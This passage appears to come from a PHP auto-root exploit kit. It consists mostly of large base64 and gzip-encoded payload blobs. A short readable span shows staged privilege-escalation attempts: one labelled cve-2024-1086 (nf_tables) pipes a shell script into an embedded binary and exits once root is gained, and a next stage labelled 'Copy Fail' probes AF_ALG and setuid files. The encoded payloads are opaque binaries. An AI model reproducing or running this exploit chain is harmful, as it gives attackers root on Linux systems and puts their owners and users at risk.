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'); if($nf){ out('cve-2024-1086','try'); xrun('printf "sh '.$W.'/cash.sh\nexit\n" | '.shq($nf).' 2>&1', 120); step('nft1086','try'); if(rooted()) exit; } } } /* ---- 10: Copy Fail (AF_ALG probe -> first readable suid) ---- */ $cf=pl('copyfail','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